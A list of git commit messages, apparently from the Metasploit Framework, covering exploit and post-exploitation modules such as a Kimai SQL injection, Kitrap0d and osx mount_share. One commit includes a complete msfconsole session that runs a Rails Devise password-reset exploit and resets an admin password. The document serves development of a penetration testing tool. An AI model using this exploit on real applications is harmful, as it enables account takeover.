In progress
In progress
Submitting first version for pull request
Added favorite and recent shares to the output
Code improvements according to feedback
Add Kimai v0.9.2 'db_restore.php' SQL Injection module
Add table prefix and doc root as fallback options
Oracle ILOM Login utility
Add RDI submodule, port Kitrap0d

This commit is the first in a series that will move all the exploits that use RDI
over to the R7 fork. The RDI source will be in a single known location and each
exploit will have to work from that location.

The kitrap0d exploit has been migrated over to use this submodule so that there's
one example of how it's done for future contributions to follow.
Some code tweaks to post/osx/mount_share.

* Make PROTOCOL an Enum
* Move path override options to advanced section
* More Enumerable rework
* Move one-off regexes back to inline, pull out protocol list
More tweaks to mount_share.

* Adds some docs to some of the methods to further distinguish
the separate sets of shares.
Change the Recent shares implementation.

* Allows us to see protocol of Recent Shares
* Parses protocol from file share URL
DRY up URL_REGEX constant.
Merge pull request #1 from jvennix-r7/review_osx_mount_pr

Tweaks & fixes to osx mount PR
Adds the ability to configure object name in URI and XML.  This allows exploiting other platforms that include devise.

For example, activeadmin is exploitable if running a vulnerable devise and rails version with the following settings;
msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(rails_devise_pass_reset) > set RPORT 3000
RPORT => 3000
msf auxiliary(rails_devise_pass_reset) > set TARGETEMAIL admin@example.com
TARGETEMAIL => admin@example.com
msf auxiliary(rails_devise_pass_reset) > set TARGETURI /admin/password
TARGETURI => /admin/password
msf auxiliary(rails_devise_pass_reset) > set PASSWORD msf_pwnd
PASSWORD => msf_pwnd
msf auxiliary(rails_devise_pass_reset) > set OBJECTNAME admin_user
OBJECTNAME => admin_user
msf auxiliary(rails_devise_pass_reset) > exploit

[*] Clearing existing tokens...
[*] Generating reset token for admin@example.com...
[+] Reset token generated successfully
[*] Resetting password to "msf_pwnd"...
[+] Password reset worked successfully
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >
Land #2682 - Kimai v0.9.2 'db_restore.php' SQL Injection
Update post module Apache Tomcat description

This module's description needs to be more descriptive, otherwise
you kind of have to pull the source code to see what it actually
does for you.
Fix metsrv.dll name issue

As mentioned here https://community.rapid7.com/thread/3788 the metsvc
script was still looking for the old file name for metsrv.dll, which
was causing the script to fail.

This commit fixes this issue. A hash is used to indicate local and remote
file names so that the remote can continue to use metsrv.dll, but it
is correctly located on disk locally.
Update rails_devise_pass_reset.rb

Fixed erroneous status if FLUSHTOKENS is false.
Updated